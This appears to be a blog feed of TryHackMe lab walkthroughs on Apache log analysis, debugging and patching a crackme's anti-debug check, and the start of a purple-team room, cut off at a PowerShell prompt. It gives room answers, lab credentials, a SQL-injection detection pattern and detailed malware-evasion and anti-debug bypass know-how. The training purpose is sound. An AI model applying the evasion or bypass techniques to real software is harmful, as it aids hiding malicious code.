part highlights that the directory /usr/local/apache2/htdocs doesn&#39;t contain the requested file.</p><p>This error is valuable as it shows a missing resource on the server. This can help administrators to identify and fix the resource availability issue. Note that ::1 is a loopback address 127.0.0.1 in IPv6.</p><p>Now, switch to the given VM and use the tools and datasets to answer the questions.</p><p>Remember that you will use the ULogViewer to view and filter the logs. <strong>The sample log is parsed as shown in the figure below. Note that you need to use the “Raw Text In Files” format for the Apache Error.log file!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6LFlivhWCGU3EQuM-P8e5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*gq6x9Eb_af0I655y4oPPWA.png" /></figure><p><strong>Use the Access.log file to answer the first few questions.</strong></p><blockquote>Question:: What is the user’s IP address who accessed “/secure.html”? (In defanged format)</blockquote><p>Never gets old. Ok so same thing. Luckily we can get away with this approach here.</p><p>Also for clarity check the html status code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/269/1*HyMatPYbN6AkNCRugCsw0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*DY6E2JgNYkewRb204UEy3Q.png" /></figure><blockquote>Answer:: 203[.]45[.]78[.]102</blockquote><blockquote>Question:: Which user failed to access the settings page?</blockquote><p>We could look for 404 codes as we all know this well annoying little thing but look for “settings” instead. In our case this is a lot faster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*iDxcMf8fIog03iW0nDoFrQ.png" /></figure><p>So as you can 404 checks out settings.html is a match. so we have a user.</p><blockquote>Answer:: buyer986</blockquote><blockquote>Question:: Which user accessed the malicious page?</blockquote><p>Ok so this is nice. First I looked for 200 events. Did not know how many events I should expect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3tZd6lSUVw-ZFq9sPPjLjw.png" /></figure><p>Then I noticed the last log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WeIJ7Ja6qLIepFxd7NQZsw.png" /></figure><blockquote>Answer:: adv8779</blockquote><blockquote>Question:: What is the user agent that discovered the malicious page?</blockquote><p>Its within the previous answer basically :)</p><blockquote>Answer:: nikto/2.1.5 (OpenVAS)</blockquote><p><strong>Use the Error.log file to answer the rest of the questions.</strong></p><blockquote>Question:: What is the PID of the process that causes permission error?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V18QB_24MWxVL08ByvaaVg.png" /></figure><blockquote>Answer:: 7654</blockquote><blockquote>Question:: What is the request that contains an invalid method?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MUXpw9HYI-szSi9pEh1Caw.png" /></figure><blockquote>Answer:: \x80\x03\x01\x00\x01</blockquote><blockquote>Question:: What pattern match triggered the access error in ModSecurity?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qN2tyKv2pT4CYcyDO33d9Q.png" /></figure><blockquote>Answer:: “SELECT.+FROM”</blockquote><blockquote>Question:: What is the path value of the file that tries to remove data from the system?</blockquote><p>We are on a linux server technicaly so the removal is “rm” just filter for this command :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ybfsCd129gwk72oo75tDDw.png" /></figure><blockquote>Answer:: /etc/httpd/conf.d/malicious.conf</blockquote><h3>Task 7 — Conclusion<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Congratulations!</h4><p>You just finished the “Log Operations” room. In this room, we dived deep into Windows, Linux and Apache log file configurations attributes and discovered the data carving points for in-depth log analysis operations by covering:</p><ul><li>Windows event log structure</li><li>Linux syslog structure</li><li>Apache access and error log structure</li></ul><p>Now, you have a solid understanding of the common log formats and are ready to carve data to adopt a course of action! So, it’s time to visit the <a href="https://tryhackme.com/module/advanced-splunk">Advanced Splunk</a> and <a href="https://tryhackme.com/module/advanced-elk">Advanced ELK modules</a> to fire advanced queries focused on bits of the log files!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*gq6x9Eb_af0I655y4oPPWA.png" /></figure><blockquote>Question:: Click and continue learning!<br>Answer:: No answer Needed!!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aaa38d646b1d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Dynamic Analysis: Debugging — Walkthrough]]></title>
            <link>https://medium.com/@0x4C1D/try-hack-me-dynamic-analysis-debugging-walkthrough-43ccd789f512?source=rss-b82c81e3983e------2</link>
            <guid isPermaLink="false">https://medium.com/p/43ccd789f512</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[debugging-javascript]]></category>
            <category><![CDATA[dynamic-analysis]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[soc]]></category>
            <dc:creator><![CDATA[0x4C1D]]></dc:creator>
            <pubDate>Thu, 26 Oct 2023 11:53:34 GMT</pubDate>
            <atom:updated>2023-10-26T11:53:34.284Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Dynamic Analysis: Debugging — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*78IuMGK1YS2OrR5hShP3vQ.png" /></figure><p>Link to the room: <a href="https://tryhackme.com/room/advanceddynamicanalysis">https://tryhackme.com/room/advanceddynamicanalysis</a></p><p>So this is part of the Malware Analysis room. It is quite a heavy one as well.</p><p>So Lets dive into it. Also please use this as a guide not a cheat sheet.</p><h3>Task 1 — Introduction<br> — — — — — — — — — — — — — — — — — — — — — —</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*3g7MRi83w540OYLwnWPfZw.png" /></figure><p>In the <a href="http://tryhackme.com/room/basicdynamicanalysis">Basic Dynamic Analysis</a> room, we learned to identify malware traces in the infected system during execution. However, malware authors understand that the malware will be analyzed and want to thwart it. This can be done through various evasion techniques. To defeat these evasion techniques, a malware analyst desires more control over malware execution. In this room, we will learn how a malware analyst can control malware execution better to achieve the desired results.</p><h3>Learning Objectives:</h3><p>In this room, we will learn:</p><ul><li>The evasion techniques used to evade basic dynamic analysis.</li><li>Introduction to debuggers and how they can help us control the execution flow of malware.</li><li>Manipulating execution flow at runtime by changing registers or other parameters.</li><li>Patching malware to force it to move past the evasion techniques and onto the actual malicious content.</li></ul><h3>Pre-requisites:</h3><p>To get the best learning outcome from this room, it is recommended that you complete the following rooms:</p><ul><li><a href="https://tryhackme.com/room/staticanalysis1">Basic Static Analysis</a></li><li><a href="http://tryhackme.com/room/basicdynamicanalysis">Basic Dynamic Analysis</a></li><li><a href="https://tryhackme.com/room/advancedstaticanalysis">Advanced Static Analysis</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*Iu9yuLTYK_FF-1l6rWUzFQ.png" /></figure><blockquote>Question:: Complete the Pre-requisite rooms.<br>Answer:: No answer needed!!</blockquote><h3>Task 2— The Need for Advanced Dynamic Analysis<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>Analyzing malware is like a cat-and-mouse game. Malware analysts keep devising new techniques to analyse malware, while malware authors devise new techniques to evade detection. This task will review some techniques that hamper our efforts to analyse malware using static or basic dynamic analysis.</p><h3>Evasion of Static Analysis:</h3><p>In the static analysis rooms, we learned techniques to perform static analysis on malware. Malware often hides or tries to look like legitimate software to evade the prying eyes of a malware analyst. Because we are not executing the malware during static analysis, the main focus of evading static analysis is to obfuscate the true functionality of the program until the program is executed. The following techniques can be commonly used to achieve this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CZaKMvwMLPYcuC1k.png" /></figure><ul><li><strong>Changing the hash:</strong> We have learned previously that every file has a unique hash. Malware authors exploit this functionality by slightly changing their malware. This way, the malware’s hash changes, bypassing the hash-based detection mechanism. Hashes can change even if one bit of the malware is changed (unless we are talking Context-Triggered Piecewise Hashes or fuzzy hashes), so just adding a NOP instruction or other such change can defeat the hash-based detection techniques.</li><li><strong>Defeating AV signatures: </strong>Anti-virus signatures and other signature-based detection often depend on static patterns found inside malware. Malware authors change those patterns to try to evade signatures. This technique is often accompanied by general obfuscation of malware code.</li><li><strong>Obfuscation of strings:</strong> Some malware authors obfuscate the strings in malware by decoding them at runtime. When we search the malware for strings, we might find nothing useful. However, when the malware runs, it decodes those strings during execution. Malware authors might obfuscate important strings, such as URLs, C2 domains, etc., to avoid burning the infrastructure based on a single-string search.</li><li><strong>Runtime loading of DLLs:</strong> Since we can identify malware imports while analyzing PE headers, malware authors often use the Windows libraries’ LoadLibrary or LoadLibraryEx to load a DLL at runtime. When analyzing this malware statically, we might not see all the functions it is linked to while analyzing its headers.</li><li><strong>Packing and Obfuscation:</strong> Packing is very popular amongst malware authors. Packing malware is like packing a present. When we look at a packed present, we can’t say what might be inside it unless we unpack the wrapper and take out the present. Similarly, packers pack the malware in a wrapper by writing code that decodes the malware at runtime. So when performing static analysis, we might be unable to see what is inside the packer. However, when we execute the malware, it unpacks the code, loads the actual malicious code into the memory, and then executes it.</li></ul><p>As we might have observed, most of these techniques are suitable for hiding in plain sight, but they can be defeated when the malware is executed while performing dynamic analysis.</p><h3>Evasion of Basic Dynamic Analysis:</h3><p>Malware authors do not just accept their fate and let dynamic analysis detect their samples. For evasion of dynamic analysis, a host of techniques are employed. These techniques generally depend on identifying whether the malware runs in a controlled analysis environment. The following techniques are commonly used for this purpose:</p><ul><li><strong>Identification of VMs:</strong> Though some of these techniques might backfire nowadays since a lot of enterprise infrastructure is hosted on VMs, one of the favourites of malware authors has been to identify if the malware is running inside a VM. For this, malware often checks for registry keys or device drivers associated with popular virtualization software such as VMWare and Virtualbox. Similarly, minimal resources, such as a single CPU and limited RAM, might indicate that the malware is running inside a VM. In this scenario, malware will take a different execution path that is not malicious to fool the analyst.</li><li><strong>Timing attacks:</strong> Malware will often try to time out automated analysis systems. For example, when malware is executed, it will try to sleep for a day using the Windows Sleep library. After a few minutes, the automated analysis system will shut down, finding no traces of malicious activity. Newer malware analysis systems can identify these attacks and try to mitigate them by shortening the time the malware sleeps. However, malware can identify those mitigations by performing targeted timing checks to see if the time is being manipulated. This can be done by noting the time of execution and comparing it with the current time after the execution of the sleep call.</li><li><strong>Traces of user activity:</strong> Malware tries to identify if there are traces of user activity in the machine. If no or very few traces are found, malware will decide that it is being executed inside a controlled system and take a different, benign execution path. Traces of user activity can include no mouse or keyboard movement, lack of browser history, no recently opened files, little system uptime, etc.</li><li><strong>Identification of analysis tools:</strong> Malware can ask the Windows OS for a running process list using Process32First, Process32Next, or similar functions. If popular monitoring tools are identified among the list of running processes, malware can take a benign execution path. For example, if ProcMon or ProcExp is running, malware can identify that and switch to benign activities. Another way to identify analysis tools is by looking at the names of different windows open in a system. If the malware finds Ollydbg or ProcMon in the open Windows, it can switch to a different execution path.</li></ul><p>By employing these techniques, malware authors make it difficult for malware analysts to perform analysis. However, malware analysts can use some tools and techniques to take greater control over malware execution, helping them defeat these evasion techniques. In the upcoming tasks, we will learn about some of these techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*Iu9yuLTYK_FF-1l6rWUzFQ.png" /></figure><blockquote>Question:: Malware sometimes checks the time before and after the execution of certain instructions to find out if it is being analysed. What type of analysis technique is bypassed by this attack?<br><strong>Answer:: Basic Dynamic Analysis</strong></blockquote><blockquote>Question::What is a popular technique used by malware authors to obfuscate malware code from static analysis and unwrap it at runtime?<br><strong>Answer:: Packing</strong></blockquote><h3>Task 3— Introduction to Debugging<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>The term Debugging is widely used by software programmers to identify and fix bugs in a program. Similarly, a malware sample trying to evade detection or reverse engineering can also be considered a program having a bug. A malware reverse engineer often has to debug a program to remove any roadblocks that prevent it from performing its malicious activity. Therefore, interactive debugging becomes an essential part of advanced malware analysis. Debuggers provide a malware analyst with the control desired to monitor a running program more closely, looking at the changes in different registers, variables, and memory regions as each instruction is executed. A debugger also allows a malware analyst to change the variables’ values to control the program’s flow at runtime, providing greater control over the execution path the malware follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3p2LJoxD3OzFeEBq.png" /></figure><h3>Types of Debuggers:</h3><p>We can loosely categorize debuggers into one of the following three categories.</p><h3>Source-Level Debuggers:</h3><p>Source Level Debuggers work on the source code level. Most software programmers use source-level debuggers while writing code to check their code for bugs. A source-level debugger is a high-level debugger compared to the other two options. When using a source-level debugger, we often see the local variables and their values.</p><h3>Assembly-Level Debuggers:</h3><p>When a program has been compiled, its source code is lost and can’t be recovered. This is the case with malware analysis. We don’t have the malware’s source code we are investigating; instead, we have a compiled binary. An assembly-level debugger can help us debug compiled programs at the assembly level. While debugging with an assembly-level debugger, we often see the CPU registers’ values and the debuggee’s memory. This is the most common type of debugger used for malware reverse engineering. The debugger attaches to the program that has to be debugged and executes it as per the analyst’s desire.</p><h3>Kernel-Level Debuggers:</h3><p>Kernel-level debuggers are a step even lower than assembly-level debuggers. As the name suggests, these debuggers debug a program at the Kernel Level. For this level of debugging, generally, two systems are required. One system is used for debugging the code running on the other system. This is because if the kernel is stopped using a breakpoint, the whole system will stop.</p><p>Now let’s move to the next task to learn how to debug malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*Iu9yuLTYK_FF-1l6rWUzFQ.png" /></figure><blockquote>Question:: Can we recover the pre-compilation code of a compiled binary for debugging purposes? Write Y for Yes or N for No<br>Answer:: N</blockquote><blockquote>Question:: Which type of debugger is used for debugging compiled binaries?<br>Answer:: Assembly-Level Debuggers</blockquote><blockquote>Question:: Which debugger works at the lowest level among the discussed debuggers?<br>Answer:: Kernel-Level Debuggers</blockquote><h3>Task 4— Familiarization With a Debugger<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>For malware analysis, there are many options to choose a debugger from. These options include Windbg, Ollydbg, IDA, and Ghidra. For this room, we will be using x32dbg and x64dbg. Before proceeding, please start the machine by clicking the option in the top-right corner. The machine will open in the split view. Alternatively, you can connect to the machine using the following credentials:</p><p><strong>Username: </strong>administrator<br><strong>Password: </strong>Passw0rd!</p><p>The attached VM is essentially a FLARE VM, distributed by Mandiant (previously FireEye, now part of Google), widely used for reverse engineering malware. It includes all the tools required for our analysis in this room. To start, we can navigate to Desktop &gt; Tools &gt; debuggers &gt; x32dbg.exe to run the debugger. We will be greeted with the following interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NwjfiJES04dutR2O.png" /></figure><p>To open a file in the debugger, we can navigate to File &gt; Open and open our desired file. The below screenshot shows the interface with a sample opened in the debugger. We are currently seeing the CPU tab in the interface. Please note that we must use x32dbg for 32-bit samples and x64dbg for 64-bit samples.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OKVel0bIlO5sFGtf.png" /></figure><p>As we can see in the bottom left corner, the execution of the program is paused because a System breakpoint has been reached. We can control whether to execute one instruction at a time or the whole program. But before that, let’s take a look at the screenshot above. Here, we can see Disassembly in the middle pane, with the Instruction pointer pointing to the next instruction executed if we start the program. In the right pane, we can see the registers and their values. We can note that the value in EIP is the address EIP is pointing to in the disassembly pane. Similarly, on the bottom pane, we can see the stack view (right), the dump view (left), and the timer showing the time we spent debugging the sample (right corner).</p><p>Let’s look at some of the other tabs. The breakpoints tab shows the current status of breakpoints. Breakpoints are points where the execution of the program is paused for the analyst to analyze the registers and memory. A breakpoint on a specific instruction can be enabled by clicking the dot in front of that instruction in the CPU tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2HMPZ6I5wlK1R7vs.png" /></figure><p>The Memory Map shows the memory of the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZPgIIQShNYgyJEhP.png" /></figure><p>We can also see the Call stack of the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0Xh6_m5yPachdrV9.png" /></figure><p>The threads running in the program are shown in the threads tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DjgLOfMbTm2l3LEV.png" /></figure><p>Any handles to files, processes, or other resources the process accesses are shown in the handles tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xun3UGVPgXb7UPqO.png" /></figure><p>In the next task, we will learn how to utilize this information for malware analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*Iu9yuLTYK_FF-1l6rWUzFQ.png" /></figure><blockquote>Question:: In which tab is the disassembly view shown in x32dbg?<br>Answer:: CPU Tab</blockquote><blockquote>Question:: If a process opens a file or a process, where can we see information regarding that opened file or process?<br>Answer:: Handles tab</blockquote><h3>Task 5— Debugging in Practice<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>Now that we are familiar with the UI of x32dbg, let’s learn about debugging a program by executing it step-by-step. Let’s start by opening one of the crackmes from the attached VM. We can do this by clicking File &gt; Open. We will see the below window asking us to select the file we want to select. Select crackme-arebel.exe as the file we want to debug.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/0*gxbQyRKM7vZDSCPk.png" /></figure><p>We select the file we need to open. The debugger attaches itself to the process and pauses it before it starts. We can see that a blank Command window opens in the background. This shows that the process has started but was stopped by the debugger. Please note that this window might not open with all processes. It will depend on the User Interface of the process. In the debugger window, we can see the familiar disassembly, the registers, the stack and other useful information. Please note that the address might not always be as shown in the images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UohHnbT3kQwNkvzX.png" /></figure><p>In the debugger window, we have some features that help us control the execution. In the below screenshot, we can see some of them highlighted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/0*7UrFkO2-VWNYhQ_K.png" /></figure><p>Among these, from left to right, we have the feature for opening a new file, restarting the execution of the opened file from the start, and stopping the execution. The arrow key will execute the program until it is stopped or paused by some other control (Please do not press this button right now as it might freeze the program. If you did, kindly restart the program by terminating it through the Task Manager). Then we have the pause option. The last two options are for stepping into and stepping over. The rest of the options are also useful, but for the scope of this room, we will only be using the ones mentioned above.</p><p>So now that we know how to control the execution, let’s execute the program using the arrow key (Please only press it once). When we do that, we can see in the bottom right corner that the program’s status changes to Running, then Paused. Along with the status, we have the reason for pausing the execution. It says “INT3 breakpoint “TLS Callback 1”….”. This means that we have hit a <a href="https://hex-rays.com/blog/tls-callbacks/">TLS callback</a>, and the debugger was programmed to break execution on TLS callbacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/0*IHOctbKJIQ86taKM.png" /></figure><p>In the debugger, we can set where to put automatic breakpoints on a program by going to the Options &gt; Preferences menu. The following screenshot shows the different points where breakpoints are automatically placed. We can see that TLS Callbacks and System TLS Callbacks are checked, which means execution will be broken on these events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/0*YeTiRq9QPSWK8ojv.png" /></figure><p>Since TLS callbacks are often used as an anti-reverse engineering technique, we should be careful when navigating this TLS callback. Therefore, it will be prudent to single-step each instruction while we are in the callback. We can do that by clicking the step-into option we discussed above. After stepping into every instruction, we see the EIP moving to the next instruction, and the values in the registers and stack change accordingly. After stepping in a few instructions, we reach a conditional jump instruction. In the pane below the disassembly, we can see that the debugger tells us that the jump is not taken. The registers pane shows that the ZF is set, so the jump is not taken.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Eyq_lUYsDUrErglZ.png" /></figure><p>If we analyze both execution paths, we see if the jump is taken, it goes to address D116E, which pops EBP and returns. On the contrary, the current execution path, where the jump is not taken, takes us to address D1000. We can see what is on this address by double-clicking on the address. So let’s go there. Alternatively, we can hover over the address to get a glimpse of the instructions on that address. The below screenshot shows the code when we follow the address. Here we see a few API calls like CreateToolhelp32Snapshot, LoadLibrary and GetProcAddress if we follow it down further. If we were sure that this function call was intended and we wanted to return after the function was executed, we could step over, which will bring us back after the function has been executed. However, the function seems too important to bypass straight away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BGice6VrBRDgixGI.png" /></figure><p>These libraries can be used to evade detection or for legitimate purposes, but we don’t know that for now. So we can move along this path, and if we see a red flag, we just restart it again using the restart execution option. Moving forward, we see that the Library being loaded is Suspend Thread.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/0*v4Utv_lH7HcGCvvh.png" /></figure><p>The SuspendThread API is being loaded. This TLS callback will suspend the thread based on detecting a running process, such as a debugger (the CreateToolhelp32Snapshot API helps identify running processes). This is why the program will freeze if we proceed with the execution. We can verify this hypothesis by moving forward along this code path. On verification, we find that this is an evasion code path. Therefore, we would like to bypass it. For that, we would like to take the jump in the start of the TLS callback. Let’s restart the execution and get to the TLS callback in the next task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*Iu9yuLTYK_FF-1l6rWUzFQ.png" /></figure><blockquote>Question:: The attached VM has a crackme in the directory Desktop &gt; crackme-arebel. In that crackme, there is a TLS callback with a conditional jump. Is this conditional jump taken? Write Y for Yes or N for No</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*QtlFwt2LVcI93IQZUsJUgA.png" /></figure><blockquote>Answer:: N</blockquote><blockquote>Question:: What is the value of the Zero Flag in the above-mentioned conditional jump?<br>Answer:: 1</blockquote><blockquote>Question:: Which API call in the mentioned sample is used for enumerating running processes?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*Qt6IE8Vbfuqfv6zrIEpimA.png" /></figure><blockquote>Answer:: CreateToolhelp32Snapshot</blockquote><blockquote>Question:: From which Windows DLL is the API SuspendThread being called?<br>Answer:: kernel32.dll</blockquote><h3>Task 6— Bypassing unwanted execution path<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>In the below screenshot, we can see that the execution has been restarted and brought back to the branch of code where we identified a detection evasion, that is, at the TLS callback breakpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rTZQG7PTD89XEBYv.png" /></figure><p>Stepping a few instructions to reach the conditional jump, we get to the following point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*E8Sh3SqukLAThBTp.png" /></figure><p>We see that the jump is not being taken at this point. In the previous task, we identified that the ZF was the reason for the jump not being taken. By double-clicking ZF in the right pane, we can change the ZF to 0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Wa2oXaWI5foMb6QX.png" /></figure><p>We can see here that the ZF is now 0, and the jump is taken. This way, we can bypass the unwanted execution path. If we step further or execute the program, it will take the jump and move to address D116E.</p><p>What we did here changed the execution path on runtime by manipulating the registers. However, if we execute the sample again, it will again go on to the evasion path unless we change the registers. If we wish to defang the binary, we will have to change it so that the evasion path is not an option if it is just run through double-clicking. This is called patching. This way, after being defanged, we can perform dynamic analysis to reach our desired conclusion. Let’s see how we can do that.</p><p>We can right-click on the instruction we want to edit to find the options related to that instruction. Among these is the option to edit, as seen in the following screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/0*vfY1H29QgiviN-ti.png" /></figure><p>When we press edit, we see the following window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/0*V575PDBfRU_19kIV.png" /></figure><p>In the lowermost pane, we see 75 05 in hex, the opcode for the conditional jump instruction. We can change this in the following ways.</p><ol><li>Change the jne to je. This way, the jump will be taken without us changing the ZF.</li><li>Change the conditional jump to an unconditional jump. This way, the jump will always be taken regardless of the condition above.</li></ol><p>Among these two options, the second one is better as it gives us surety for the jump. However, there is one more way we can edit the binary for it to take our preferred execution path. That is, by filling the call instruction at address D1169 with NOPs. As discussed in a previous room, NOPs are instructions that don’t do anything. The screenshot below shows that we can fill the instruction with NOP by right-clicking and going to Binary &gt; Fill with NOPs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/0*MXNgHV0bnGThKeEp.png" /></figure><p>Once done, we can go to File &gt; Patch File to write this file to disk. We might see something like the below window once we navigate to that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/0*xAL6Qr83tUcEFRVN.png" /></figure><p>By clicking Patch File on this window, the debugger will ask us where to save the patched file. This is how it will look once we have filled it with NOPs. Notice that a single instruction has been replaced with five NOP instructions. This is because the size of the single instruction was equal to five NOP instructions. This is more visible in the above screenshot, where each NOP instruction is mapped against equal sized Opcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XQTg4EkpJ7RrbQyF.png" /></figure><p>In the attached VM, we can see that the file crackme-arebel1.exe is patched. This is how the same file looks when patched and saved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/0*Kk8w1bMV7Afjzv8p.png" /></figure><p>Hurray, we have used the debugger to patch a file evading debuggers!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*Iu9yuLTYK_FF-1l6rWUzFQ.png" /></figure><p>Question:: What is it called when a binary’s assembly code is permanently altered to get the desired execution path?<br>Answer:: Patching</p><h3>Task 7— Conclusion<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>This was it for this room. In this room, we learned the following:</p><ul><li>Common techniques to evade static and basic dynamic malware analysis.</li><li>The use of debuggers for deeper analysis of malware.</li><li>Using debuggers for changing the environment at runtime.</li><li>Using debuggers to patch malware samples.</li></ul><p>However, this is not it. Malware authors also use many techniques to evade dynamic analysis and debugging. Head over to the <a href="https://tryhackme.com/room/antireverseengineering">Anti-Reverse Engineering</a> room to learn about more evasion techniques and how to counter them. Let us know what you found interesting in this room on our <a href="https://discord.gg/tryhackme">Discord channel</a> or <a href="http://twitter.com/realtryhackme">Twitter account</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*Iu9yuLTYK_FF-1l6rWUzFQ.png" /></figure><blockquote>Question:: Head over to our social channels for further discussion.<br>Answer:: No answer needed!!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/209/1*wBD_voIUs-hlv7BrxagdKw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43ccd789f512" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Atomic Bird Goes Purple #2 — Walkthrough]]></title>
            <link>https://medium.com/@0x4C1D/try-hack-me-atomic-bird-goes-purple-2-walkthrough-56e14681f5b3?source=rss-b82c81e3983e------2</link>
            <guid isPermaLink="false">https://medium.com/p/56e14681f5b3</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[atomic]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[atomic-bird-goes-purple2]]></category>
            <category><![CDATA[purple]]></category>
            <dc:creator><![CDATA[0x4C1D]]></dc:creator>
            <pubDate>Thu, 19 Oct 2023 12:42:03 GMT</pubDate>
            <atom:updated>2023-10-19T12:42:03.618Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Atomic Bird Goes Purple #2 — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*ESc0K_dYbPcY2I3dE79twg.png" /></figure><p>So this is the second part of the Atomic Bird rooms.</p><p>The walkthrough for Atomic Bird Goes Purple #1 can be found <a href="https://medium.com/@0x4C1D/try-hack-me-atomic-bird-goes-purple-1-walkthrough-becc47a0b7a1">HERE</a>.</p><p>Link to this room: <a href="https://tryhackme.com/room/atomicbirdtwo">https://tryhackme.com/room/atomicbirdtwo</a></p><p>Difficulty: Medium</p><p>But as before lets jump in it and use atomic again shall we?</p><h3>Task 1 — Introduction<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><p>Atomic Bird Goes Purple #2</p><p>This room is the follow-up of the<a href="https://tryhackme.com/room/atomicbirdone"> Atomic Bird Goes Purple #1 room.</a> Therefore, it is suggested to finish the first room and fulfil the prerequisites of that room before starting to work/practice in this room.</p><p>Remember, these rooms use a customised version of atomic tests to help you implement tailored Purple Teaming exercises with atomic tests and familiarise yourself with sample attack chains. A high-level mapping of the custom tests is listed below. Each task also shares the basic techniques and storyline of the planned custom actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*VRIr5mYPH143tqDA0ogx2g.png" /></figure><p>Remember, the bottom line of the activities found in this room is to enhance the impact of the Purple Team, Threat Emulation and Detection Engineering exercises by going beyond the defaults and basics. Again, you will work on real-life scenarios using the outcomes you gained during the threat emulation module. You will emulate and hunt adversarial tactics and experience purple teaming exercises.</p><p><strong>Before proceeding to the next task, </strong>let’s start the <strong>Virtual Machine</strong> by pressing the <strong>Start Machine</strong> button at the top of this task. The machine will start in a split-screen view. In case the VM is not visible, use the blue Show Split View button at the top-right of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*H6KnjMRKO0wmn-I3Odpq8A.png" /></figure><blockquote>Question:: Start the attached VM and proceed to the next task.<br>Answer:: No answer needed!!</blockquote><h3>Task 2— In-Between — Discover and Hide<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Case: In-Between — Discover and Hide</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*DKt6T3EkMvjJA0TU0WAPGg.png" /></figure><p><strong>The planned tests for this case are listed below.</strong></p><pre># Planned tests<br><br>T0002-1 TASK-2.1 Search cleartext data<br>T0002-2 TASK-2.2 Create clone/decoy account</pre><p><strong>NOTE:</strong> You can revert the system modification and file change activities by using the cleanup command of the executed technique!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*H6KnjMRKO0wmn-I3Odpq8A.png" /></figure><blockquote>Question:: Execute test <strong>T0002–1 </strong>and open the document created on the Desktop. Which PowerShell library file is detected?</blockquote><p>Run the already known Invoke command</p><pre>PS 